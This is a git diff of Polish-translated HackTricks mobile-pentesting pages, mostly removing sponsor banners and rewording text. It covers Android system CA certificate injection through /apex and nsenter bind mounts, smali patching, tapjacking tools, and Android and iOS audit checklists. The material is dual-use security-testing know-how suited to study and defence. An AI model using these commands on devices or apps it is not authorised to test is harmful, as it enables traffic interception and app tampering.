+Niemniej jednak istnieje obejście dla tych, którzy potrzebują zmodyfikować certyfikaty CA zaufane przez system w katalogu **`/apex`**. Polega to na ręcznym ponownym zamontowaniu **`/apex`**, aby usunąć propagację PRIVATE, co czyni go zapisywalnym. Proces obejmuje skopiowanie zawartości **`/apex/com.android.conscrypt`** do innej lokalizacji, odmontowanie katalogu **`/apex/com.android.conscrypt`**, aby wyeliminować ograniczenie tylko do odczytu, a następnie przywrócenie zawartości do ich pierwotnej lokalizacji w **`/apex`**. To podejście wymaga szybkiego działania, aby uniknąć awarii systemu. Aby zapewnić systemowe zastosowanie tych zmian, zaleca się ponowne uruchomienie `system_server`, co skutecznie restartuje wszystkie aplikacje i przywraca system do spójnego stanu. ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -120,7 +117,7 @@ echo "System certificate injected" ``` ### Bind-mounting through NSEnter -1. **Ustawienie zapisywalnego katalogu**: Początkowo tworzony jest zapisywalny katalog poprzez zamontowanie `tmpfs` nad istniejącym katalogiem certyfikatów systemowych, który nie jest APEX. Osiąga się to za pomocą następującego polecenia: +1. **Ustawienie zapisywalnego katalogu**: Początkowo, zapisywalny katalog jest tworzony przez zamontowanie `tmpfs` nad istniejącym katalogiem certyfikatów systemowych, który nie jest APEX. Osiąga się to za pomocą następującego polecenia: ```bash mount -t tmpfs tmpfs /system/etc/security/cacerts ``` @@ -135,14 +132,11 @@ To zapewnia, że każda nowa aplikacja uruchomiona będzie przestrzegać zaktual ```bash nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -5. **Alternatywne podejście - Miękki restart**: Alternatywna metoda polega na wykonaniu bind mount na procesie `init` (PID 1), a następnie na miękkim restarcie systemu operacyjnego za pomocą poleceń `stop && start`. To podejście propagowałoby zmiany we wszystkich przestrzeniach nazw, unikając potrzeby indywidualnego adresowania każdej działającej aplikacji. Jednak ta metoda jest zazwyczaj mniej preferowana z powodu niedogodności związanych z restartem. +5. **Alternatywne podejście - Miękki restart**: Alternatywna metoda polega na wykonaniu montażu wiązanego na procesie `init` (PID 1), a następnie na miękkim restarcie systemu operacyjnego za pomocą poleceń `stop && start`. To podejście propagowałoby zmiany we wszystkich przestrzeniach nazw, unikając potrzeby indywidualnego adresowania każdej działającej aplikacji. Jednak ta metoda jest zazwyczaj mniej preferowana z powodu niedogodności związanych z restartowaniem. ## References - [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index da256a076..5af624a23 100644 --- a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -2,22 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Zgłębiaj swoją wiedzę w zakresie **Mobile Security** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Android dzięki naszym kursom w trybie samodzielnym i uzyskaj certyfikat: - -{% embed url="https://academy.8ksec.io/" %} - **Aby uzyskać więcej informacji, sprawdź:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) Aplikacje na Androida mogą korzystać z bibliotek natywnych, zazwyczaj napisanych w C lub C++, do zadań wymagających dużej wydajności. Twórcy złośliwego oprogramowania również używają tych bibliotek, ponieważ są trudniejsze do inżynierii wstecznej niż kod bajtowy DEX. Sekcja ta podkreśla umiejętności inżynierii wstecznej dostosowane do Androida, zamiast uczyć języków asemblera. Wersje bibliotek dla ARM i x86 są dostarczane dla zapewnienia kompatybilności. ### Kluczowe punkty: -- **Biblioteki natywne w aplikacjach Android:** +- **Biblioteki natywne w aplikacjach na Androida:** - Używane do zadań wymagających dużej wydajności. - Napisane w C lub C++, co utrudnia inżynierię wsteczną. -- Znajdują się w formacie `.so` (obiekt współdzielony), podobnym do binariów Linuxa. +- Znajdują się w formacie `.so` (obiekt współdzielony), podobnie jak binaria w systemie Linux. - Twórcy złośliwego oprogramowania preferują kod natywny, aby utrudnić analizę. - **Java Native Interface (JNI) i Android NDK:** - JNI pozwala na implementację metod Java w kodzie natywnym. @@ -26,13 +20,13 @@ Aplikacje na Androida mogą korzystać z bibliotek natywnych, zazwyczaj napisany - **Ładowanie i wykonywanie bibliotek:** - Biblioteki są ładowane do pamięci za pomocą `System.loadLibrary` lub `System.load`. - JNI_OnLoad jest wykonywane po załadowaniu biblioteki. -- Deklarowane w Javie metody natywne łączą się z funkcjami natywnymi, umożliwiając wykonanie. +- Metody natywne zadeklarowane w Javie łączą się z funkcjami natywnymi, umożliwiając wykonanie. - **Łączenie metod Java z funkcjami natywnymi:** -- **Łączenie dynamiczne:** Nazwy funkcji w bibliotekach natywnych pasują do określonego wzoru, co umożliwia automatyczne łączenie. -- **Łączenie statyczne:** Używa `RegisterNatives` do łączenia, co zapewnia elastyczność w nazewnictwie funkcji i strukturze. +- **Linkowanie dynamiczne:** Nazwy funkcji w bibliotekach natywnych odpowiadają określonemu wzorcowi, co umożliwia automatyczne linkowanie. +- **Linkowanie statyczne:** Używa `RegisterNatives` do linkowania, co zapewnia elastyczność w nazewnictwie funkcji i strukturze. - **Narzędzia i techniki inżynierii wstecznej:** - Narzędzia takie jak Ghidra i IDA Pro pomagają w analizie bibliotek natywnych. -- `JNIEnv` jest kluczowe dla zrozumienia funkcji JNI i interakcji. +- `JNIEnv` jest kluczowe dla zrozumienia funkcji i interakcji JNI. - Zapewnione są ćwiczenia do praktyki ładowania bibliotek, łączenia metod i identyfikowania funkcji natywnych. ### Zasoby: @@ -47,10 +41,4 @@ Aplikacje na Androida mogą korzystać z bibliotek natywnych, zazwyczaj napisany - **Debugowanie bibliotek natywnych:** - [Debugowanie bibliotek natywnych Androida za pomocą dekompilatora JEB](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) -
- -Zgłębiaj swoją wiedzę w zakresie **Mobile Security** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Android dzięki naszym kursom w trybie samodzielnym i uzyskaj certyfikat: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/smali-changes.md b/src/mobile-pentesting/android-app-pentesting/smali-changes.md index c21bd374f..d5bb8595e 100644 --- a/src/mobile-pentesting/android-app-pentesting/smali-changes.md +++ b/src/mobile-pentesting/android-app-pentesting/smali-changes.md @@ -2,12 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Pogłęb swoją wiedzę w zakresie **Mobile Security** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat: - -{% embed url="https://academy.8ksec.io/" %} - Czasami interesujące jest modyfikowanie kodu aplikacji, aby uzyskać dostęp do ukrytych informacji (może dobrze zafałszowanych haseł lub flag). Wtedy może być interesujące, aby zdekompilować apk, zmodyfikować kod i ponownie go skompilować. **Opcodes reference:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html) @@ -39,10 +33,10 @@ Jeśli `apktool` ma **problemy z dekodowaniem aplikacji**, sprawdź [https://ibo Możesz **zmienić** **instrukcje**, zmienić **wartość** niektórych zmiennych lub **dodać** nowe instrukcje. Zmieniam kod Smali używając [**VS Code**](https://code.visualstudio.com), następnie instalujesz **rozszerzenie smalise**, a edytor powie ci, czy jakakolwiek **instrukcja jest niepoprawna**.\ Niektóre **przykłady** można znaleźć tutaj: -- [Przykłady zmian Smali](smali-changes.md) +- [Przykłady zmian smali](smali-changes.md) - [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md) -Lub możesz [**sprawdzić poniżej niektóre zmiany Smali wyjaśnione**](smali-changes.md#modifying-smali). +Lub możesz [**sprawdzić poniżej niektóre zmiany smali wyjaśnione**](smali-changes.md#modifying-smali). ## Rekompilacja APK @@ -101,7 +95,7 @@ Zestaw instrukcji Smali jest dostępny [tutaj](https://source.android.com/device ### Modyfikacja początkowych wartości zmiennej wewnątrz funkcji -Niektóre zmienne są definiowane na początku funkcji za pomocą opkodu _const_, możesz modyfikować ich wartości lub definiować nowe: +Niektóre zmienne są definiowane na początku funkcji za pomocą opkodu _const_, możesz modyfikować ich wartości lub możesz zdefiniować nowe: ```bash #Number const v9, 0xf4240 @@ -147,7 +141,7 @@ Zalecenia: - Jeśli zamierzasz używać zadeklarowanych zmiennych wewnątrz funkcji (zadeklarowane v0,v1,v2...) umieść te linie między _.local \_ a deklaracjami zmiennych (_const v0, 0x1_) - Jeśli chcesz umieścić kod logowania w środku kodu funkcji: -- Dodaj 2 do liczby zadeklarowanych zmiennych: Przykład: z _.locals 10_ do _.locals 12_ +- Dodaj 2 do liczby zadeklarowanych zmiennych: np. z _.locals 10_ do _.locals 12_ - Nowe zmienne powinny być następnymi numerami już zadeklarowanych zmiennych (w tym przykładzie powinny być _v10_ i _v11_, pamiętaj, że zaczyna się od v0). - Zmień kod funkcji logowania i użyj _v10_ i _v11_ zamiast _v5_ i _v1_. @@ -167,10 +161,4 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/ move-result-object v12 invoke-virtual {v12}, Landroid/widget/Toast;->show()V ``` -
- -Zgłębiaj swoją wiedzę w zakresie **Bezpieczeństwa Mobilnego** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/tapjacking.md b/src/mobile-pentesting/android-app-pentesting/tapjacking.md index 9e7cdabfe..4a8593fa8 100644 --- a/src/mobile-pentesting/android-app-pentesting/tapjacking.md +++ b/src/mobile-pentesting/android-app-pentesting/tapjacking.md @@ -2,18 +2,14 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## **Podstawowe informacje** **Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika do interakcji z nią, podczas gdy przekazuje interakcję do aplikacji ofiary.\ -W efekcie, **oślepia użytkownika, uniemożliwiając mu zrozumienie, że faktycznie wykonuje akcje w aplikacji ofiary**. +W efekcie, **oślepia użytkownika, aby nie wiedział, że faktycznie wykonuje akcje w aplikacji ofiary**. ### Wykrywanie -Aby wykryć aplikacje podatne na ten atak, należy szukać **eksportowanych aktywności** w manifeście androida (zauważ, że aktywność z intent-filter jest automatycznie eksportowana domyślnie). Gdy znajdziesz eksportowane aktywności, **sprawdź, czy wymagają jakichkolwiek uprawnień**. Dzieje się tak, ponieważ **złośliwa aplikacja również będzie potrzebować tych uprawnień**. +Aby wykryć aplikacje podatne na ten atak, powinieneś szukać **eksportowanych aktywności** w manifeście androida (zauważ, że aktywność z intent-filter jest automatycznie eksportowana domyślnie). Gdy znajdziesz eksportowane aktywności, **sprawdź, czy wymagają jakichkolwiek uprawnień**. Dzieje się tak, ponieważ **złośliwa aplikacja również będzie potrzebować tych uprawnień**. ### Ochrona @@ -41,9 +37,9 @@ android:filterTouchesWhenObscured="true"> ### Tapjacking-ExportedActivity -Najbardziej **najnowsza aplikacja na Androida** przeprowadzająca atak Tapjacking (+ wywołanie przed eksportowaną aktywnością atakowanej aplikacji) znajduje się pod adresem: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity). +Najbardziej **najnowsza aplikacja na Androida** przeprowadzająca atak Tapjacking (+ wywołując przed eksportowaną aktywnością atakowanej aplikacji) znajduje się pod adresem: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity). -Postępuj zgodnie z **instrukcjami w README, aby z niej skorzystać**. +Postępuj zgodnie z **instrukcjami README, aby z niej skorzystać**. ### FloatingWindowApp @@ -56,14 +52,11 @@ Przykładowy projekt implementujący **FloatingWindowApp**, który można użyć Możesz użyć [**qark**](https://github.com/linkedin/qark) z parametrami `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk`, aby stworzyć złośliwą aplikację do testowania możliwych **vulnerabilities Tapjacking**.\ -Mitigacja jest stosunkowo prosta, ponieważ deweloper może zdecydować, że nie chce odbierać zdarzeń dotykowych, gdy widok jest zasłonięty przez inny. Korzystając z [Dokumentacji dewelopera Androida](https://developer.android.com/reference/android/view/View#security): +Łagodzenie jest stosunkowo proste, ponieważ deweloper może zdecydować, że nie chce odbierać zdarzeń dotykowych, gdy widok jest zasłonięty przez inny. Korzystając z [Dokumentacji dla programistów Androida](https://developer.android.com/reference/android/view/View#security): > Czasami istotne jest, aby aplikacja mogła zweryfikować, że akcja jest wykonywana z pełną wiedzą i zgodą użytkownika, na przykład przyznając prośbę o uprawnienia, dokonując zakupu lub klikając w reklamę. Niestety, złośliwa aplikacja mogłaby próbować oszukać użytkownika, aby wykonał te akcje, nieświadomie, ukrywając zamierzony cel widoku. W ramach remediów, framework oferuje mechanizm filtrowania dotyków, który można wykorzystać do poprawy bezpieczeństwa widoków, które zapewniają dostęp do wrażliwej funkcjonalności. > > Aby włączyć filtrowanie dotyków, wywołaj [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) lub ustaw atrybut layout android:filterTouchesWhenObscured na true. Po włączeniu framework odrzuci dotyki, które są odbierane, gdy okno widoku jest zasłonięte przez inne widoczne okno. W rezultacie widok nie otrzyma dotyków, gdy nad oknem widoku pojawi się toast, dialog lub inne okno. -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-checklist.md b/src/mobile-pentesting/android-checklist.md index 68996f0f2..eb24dd58f 100644 --- a/src/mobile-pentesting/android-checklist.md +++ b/src/mobile-pentesting/android-checklist.md @@ -2,11 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -Zgłębiaj swoją wiedzę w zakresie **Bezpieczeństwa Mobilnego** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat: - -{% embed url="https://academy.8ksec.io/" %} ### [Poznaj podstawy Androida](android-app-pentesting/#2-android-application-fundamentals) @@ -28,8 +23,8 @@ Zgłębiaj swoją wiedzę w zakresie **Bezpieczeństwa Mobilnego** z 8kSec Acade - [ ] Sprawdź użycie [obfuskacji](android-checklist.md#some-obfuscation-deobfuscation-information), sprawdź, czy urządzenie mobilne było zrootowane, czy używany jest emulator oraz sprawdzenia antytamperowe. [Przeczytaj to, aby uzyskać więcej informacji](android-app-pentesting/#other-checks). - [ ] Wrażliwe aplikacje (jak aplikacje bankowe) powinny sprawdzić, czy urządzenie mobilne jest zrootowane i działać w konsekwencji. -- [ ] Szukaj [interesujących ciągów](android-app-pentesting/#looking-for-interesting-info) (hasła, URL, API, szyfrowanie, backdoory, tokeny, UUID Bluetooth...). -- [ ] Szczególna uwaga na [API firebase](android-app-pentesting/#firebase). +- [ ] Szukaj [interesujących ciągów](android-app-pentesting/#looking-for-interesting-info) (hasła, URL, API, szyfrowanie, tylne drzwi, tokeny, UUID Bluetooth...). +- [ ] Szczególna uwaga na [firebase](android-app-pentesting/#firebase)API. - [ ] [Przeczytaj manifest:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml) - [ ] Sprawdź, czy aplikacja jest w trybie debugowania i spróbuj ją "wykorzystać". - [ ] Sprawdź, czy APK pozwala na tworzenie kopii zapasowych. @@ -45,27 +40,22 @@ Zgłębiaj swoją wiedzę w zakresie **Bezpieczeństwa Mobilnego** z 8kSec Acade ### [Analiza dynamiczna](android-app-pentesting/#dynamic-analysis) -- [ ] Przygotuj środowisko ([online](android-app-pentesting/#online-dynamic-analysis), [lokalna VM lub fizyczna](android-app-pentesting/#local-dynamic-analysis)). -- [ ] Czy istnieje jakiekolwiek [niezamierzone wycieki danych](android-app-pentesting/#unintended-data-leakage) (logowanie, kopiowanie/wklejanie, logi awarii)? +- [ ] Przygotuj środowisko ([online](android-app-pentesting/#online-dynamic-analysis), [lokalna VM lub fizyczna](android-app-pentesting/#local-dynamic-analysis)) +- [ ] Czy istnieje jakiekolwiek [niezamierzone wyciekanie danych](android-app-pentesting/#unintended-data-leakage) (logowanie, kopiowanie/wklejanie, logi awarii)? - [ ] [Poufne informacje zapisywane w bazach danych SQLite](android-app-pentesting/#sqlite-dbs)? - [ ] [Wykorzystywalne eksportowane Aktywności](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)? - [ ] [Wykorzystywalni Dostawcy treści](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)? - [ ] [Wykorzystywalne usługi](android-app-pentesting/#exploiting-services)? - [ ] [Wykorzystywalne Odbiorniki rozgłoszeniowe](android-app-pentesting/#exploiting-broadcast-receivers)? - [ ] Czy aplikacja [przesyła informacje w czystym tekście/używa słabych algorytmów](android-app-pentesting/#insufficient-transport-layer-protection)? Czy możliwy jest atak MitM? -- [ ] [Inspekcja ruchu HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic). +- [ ] [Inspekcja ruchu HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic) - [ ] To jest naprawdę ważne, ponieważ jeśli możesz przechwycić ruch HTTP, możesz szukać powszechnych luk w zabezpieczeniach w sieci (Hacktricks ma wiele informacji na temat luk w zabezpieczeniach w sieci). - [ ] Sprawdź możliwe [iniekcje po stronie klienta Androida](android-app-pentesting/#android-client-side-injections-and-others) (prawdopodobnie analiza statyczna pomoże tutaj). -- [ ] [Frida](android-app-pentesting/#frida): Po prostu Frida, użyj jej, aby uzyskać interesujące dane dynamiczne z aplikacji (może jakieś hasła...). +- [ ] [Frida](android-app-pentesting/#frida): Po prostu Frida, użyj jej, aby uzyskać interesujące dane dynamiczne z aplikacji (może jakieś hasła...) ### Informacje o obfuskacji/deobfuskacji - [ ] [Przeczytaj tutaj](android-app-pentesting/#obfuscating-deobfuscating-code) -
- -Zgłębiaj swoją wiedzę w zakresie **Bezpieczeństwa Mobilnego** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting-checklist.md b/src/mobile-pentesting/ios-pentesting-checklist.md index 6579c0299..0b4694ed0 100644 --- a/src/mobile-pentesting/ios-pentesting-checklist.md +++ b/src/mobile-pentesting/ios-pentesting-checklist.md @@ -1,13 +1,5 @@ # Lista kontrolna pentestingu iOS -
- -\ -Użyj [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../banners/hacktricks-training.md}} ### Przygotowanie @@ -26,7 +18,7 @@ Uzyskaj dostęp już dziś: - [ ] [**Bazy danych Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) mogą przechowywać wrażliwe informacje. - [ ] [**Cookies binarne**](ios-pentesting/#cookies) mogą przechowywać wrażliwe informacje. - [ ] [**Dane w pamięci podręcznej**](ios-pentesting/#cache) mogą przechowywać wrażliwe informacje. -- [ ] [**Automatyczne zrzuty**](ios-pentesting/#snapshots) mogą zapisywać wizualne wrażliwe informacje. +- [ ] [**Automatyczne zrzuty ekranu**](ios-pentesting/#snapshots) mogą zapisywać wizualne wrażliwe informacje. - [ ] [**Keychain**](ios-pentesting/#keychain) jest zazwyczaj używany do przechowywania wrażliwych informacji, które mogą zostać pozostawione przy odsprzedaży telefonu. - [ ] Podsumowując, po prostu **sprawdź wrażliwe informacje zapisane przez aplikację w systemie plików**. @@ -42,11 +34,11 @@ Uzyskaj dostęp już dziś: ### Kopie zapasowe - [ ] [**Kopie zapasowe**](ios-pentesting/#backups) mogą być używane do **uzyskania dostępu do wrażliwych informacji** zapisanych w systemie plików (sprawdź początkowy punkt tej listy kontrolnej). -- [ ] Ponadto, [**kopie zapasowe**](ios-pentesting/#backups) mogą być używane do **modyfikacji niektórych konfiguracji aplikacji**, a następnie **przywrócenia** kopii zapasowej na telefonie, a jako **zmodyfikowana konfiguracja** jest **ładowana**, niektóre (bezpieczeństwa) **funkcjonalności** mogą być **obejście**. +- [ ] Ponadto, [**kopie zapasowe**](ios-pentesting/#backups) mogą być używane do **modyfikacji niektórych konfiguracji aplikacji**, a następnie **przywrócenia** kopii zapasowej na telefonie, a ponieważ **zmodyfikowana konfiguracja** jest **ładowana**, niektóre (bezpieczeństwa) **funkcjonalności** mogą być **obejście**. ### **Pamięć aplikacji** -- [ ] Sprawdź wrażliwe informacje wewnątrz [**pamięci aplikacji**](ios-pentesting/#testing-memory-for-sensitive-data). +- [ ] Sprawdź wrażliwe informacje w [**pamięci aplikacji**](ios-pentesting/#testing-memory-for-sensitive-data). ### **Złamana kryptografia** @@ -85,25 +77,17 @@ Uzyskaj dostęp już dziś: - [ ] Sprawdź, jakie rodzaje webview są używane. - [ ] Sprawdź status **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**. - [ ] Sprawdź, czy webview może **uzyskać dostęp do lokalnych plików** z protokołem **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`). -- [ ] Sprawdź, czy JavaScript może uzyskać dostęp do **metod** **Native** (`JSContext`, `postMessage`). +- [ ] Sprawdź, czy Javascript może uzyskać dostęp do **metod Native** (`JSContext`, `postMessage`). ### Komunikacja sieciowa -- [ ] Wykonaj [**MitM na komunikacji**](ios-pentesting/#network-communication) i poszukaj luk w zabezpieczeniach w sieci. +- [ ] Wykonaj [**MitM do komunikacji**](ios-pentesting/#network-communication) i poszukaj luk w zabezpieczeniach w sieci. - [ ] Sprawdź, czy [**nazwa hosta certyfikatu**](ios-pentesting/#hostname-check) jest sprawdzana. - [ ] Sprawdź/obejdź [**Pinning certyfikatów**](ios-pentesting/#certificate-pinning). ### **Różne** -- [ ] Sprawdź [**automatyczne łatanie/aktualizacje**](ios-pentesting/#hot-patching-enforced-updateing). +- [ ] Sprawdź [**automatyczne mechanizmy łatania/aktualizacji**](ios-pentesting/#hot-patching-enforced-updateing). - [ ] Sprawdź [**złośliwe biblioteki stron trzecich**](ios-pentesting/#third-parties). {{#include ../banners/hacktricks-training.md}} - -
- -\ -Użyj [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/mobile-pentesting/ios-pentesting/README.md b/src/mobile-pentesting/ios-pentesting/README.md index 1c282141e..ae19b3945 100644 --- a/src/mobile-pentesting/ios-pentesting/README.md +++ b/src/mobile-pentesting/ios-pentesting/README.md @@ -1,13 +1,5 @@ # iOS Pentesting -
- -\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} - {{#include ../../banners/hacktricks-training.md}} ## iOS Basics @@ -35,11 +27,16 @@ basic-ios-testing-operations.md {{#endref}} > [!NOTE] -> W przypadku następujących kroków **aplikacja powinna być zainstalowana** na urządzeniu i powinna już uzyskać **plik IPA** aplikacji.\ +> W kolejnych krokach **aplikacja powinna być zainstalowana** na urządzeniu i powinna już uzyskać **plik IPA** aplikacji.\ > Przeczytaj stronę [Basic iOS Testing Operations](basic-ios-testing-operations.md), aby dowiedzieć się, jak to zrobić. ### Basic Static Analysis +Kilka interesujących dekompilatorów plików iOS - IPA: + +- https://github.com/LaurieWired/Malimite +- https://ghidra-sre.org/ + Zaleca się użycie narzędzia [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) do przeprowadzenia automatycznej analizy statycznej pliku IPA. Identyfikacja **ochron obecnych w binarnym**: @@ -47,30 +44,30 @@ Identyfikacja **ochron obecnych w binarnym**: - **PIE (Position Independent Executable)**: Gdy jest włączone, aplikacja ładowana jest do losowego adresu pamięci za każdym razem, gdy jest uruchamiana, co utrudnia przewidywanie jej początkowego adresu pamięci. ```bash -otool -hv | grep PIE # Powinien zawierać flagę PIE +otool -hv | grep PIE # Powinno zawierać flagę PIE ``` -- **Stack Canaries**: Aby zweryfikować integralność stosu, wartość „canary” jest umieszczana na stosie przed wywołaniem funkcji i jest weryfikowana ponownie po zakończeniu funkcji. +- **Stack Canaries**: Aby zweryfikować integralność stosu, wartość 'canary' jest umieszczana na stosie przed wywołaniem funkcji i jest weryfikowana ponownie po zakończeniu funkcji. ```bash -otool -I -v | grep stack_chk # Powinien zawierać symbole: stack_chk_guard i stack_chk_fail +otool -I -v | grep stack_chk # Powinno zawierać symbole: stack_chk_guard i stack_chk_fail ``` -- **ARC (Automatic Reference Counting)**: Aby zapobiec powszechnym błędom uszkodzenia pamięci +- **ARC (Automatic Reference Counting)**: Aby zapobiec powszechnym błędom związanym z uszkodzeniem pamięci ```bash -otool -I -v | grep objc_release # Powinien zawierać symbol _objc_release +otool -I -v | grep objc_release # Powinno zawierać symbol _objc_release ``` - **Encrypted Binary**: Binarna powinna być zaszyfrowana ```bash -otool -arch all -Vl | grep -A5 LC_ENCRYPT # Krypton powinien wynosić 1 +otool -arch all -Vl | grep -A5 LC_ENCRYPT # Cryptid powinien wynosić 1 ``` -**Identyfikacja wrażliwych/niebezpiecznych funkcji** +**Identyfikacja Wrażliwych/Niezabezpieczonych Funkcji** -- **Słabe algorytmy haszujące** +- **Słabe Algorytmy Hashujące** ```bash # Na urządzeniu iOS @@ -82,7 +79,7 @@ grep -iER "_CC_MD5" grep -iER "_CC_SHA1" ``` -- **Niebezpieczne funkcje losowe** +- **Niezabezpieczone Funkcje Losowe** ```bash # Na urządzeniu iOS @@ -96,7 +93,7 @@ grep -iER "_srand" grep -iER "_rand" ``` -- **Niebezpieczna funkcja ‘Malloc’** +- **Niezabezpieczona Funkcja ‘Malloc’** ```bash # Na urządzeniu iOS @@ -106,7 +103,7 @@ otool -Iv | grep -w "_malloc" grep -iER "_malloc" ``` -- **Niebezpieczne i podatne funkcje** +- **Niezabezpieczone i Wrażliwe Funkcje** ```bash # Na urządzeniu iOS @@ -138,7 +135,7 @@ grep -iER "_vsprintf" ### Basic Dynamic Analysis -Sprawdź analizę dynamiczną, którą przeprowadza [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Będziesz musiał nawigować przez różne widoki i wchodzić z nimi w interakcje, ale będzie to podłączać kilka klas podczas wykonywania innych czynności i przygotuje raport, gdy skończysz. +Sprawdź analizę dynamiczną, którą wykonuje [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Będziesz musiał nawigować przez różne widoki i wchodzić z nimi w interakcje, ale będzie to podłączać kilka klas podczas wykonywania innych czynności i przygotuje raport, gdy skończysz. ### Listing Installed Apps @@ -157,7 +154,7 @@ PID Name Identifier ``` ### Podstawowa enumeracja i hooking -Dowiedz się, jak **enumerować komponenty aplikacji** oraz jak łatwo **hookować metody i klasy** za pomocą objection: +Dowiedz się, jak **enumerować komponenty aplikacji** i jak łatwo **hookować metody i klasy** za pomocą objection: {{#ref}} ios-hooking-with-objection.md @@ -171,17 +168,17 @@ Struktura **pliku IPA** jest zasadniczo taka sama jak **spakowany pakiet**. Zmie - **`_CodeSignature/`**: Ten katalog zawiera plik plist, który zawiera podpis, zapewniając integralność wszystkich plików w pakiecie. - **`Assets.car`**: Skompresowany archiwum, które przechowuje pliki zasobów, takie jak ikony. - **`Frameworks/`**: Ten folder zawiera natywne biblioteki aplikacji, które mogą być w formie plików `.dylib` lub `.framework`. -- **`PlugIns/`**: Może zawierać rozszerzenia aplikacji, znane jako pliki `.appex`, chociaż nie zawsze są obecne. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Służy do zapisywania trwałych danych aplikacji do użytku offline, do buforowania danych tymczasowych oraz do dodawania funkcji cofania w aplikacji na jednym urządzeniu. Aby synchronizować dane między wieloma urządzeniami w jednym koncie iCloud, Core Data automatycznie odzwierciedla schemat w kontenerze CloudKit. -- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Plik `PkgInfo` jest alternatywnym sposobem określenia typu i kodów twórcy aplikacji lub pakietu. -- **en.lproj, fr.proj, Base.lproj**: To pakiety językowe, które zawierają zasoby dla tych konkretnych języków oraz domyślny zasób na wypadek, gdyby dany język nie był obsługiwany. 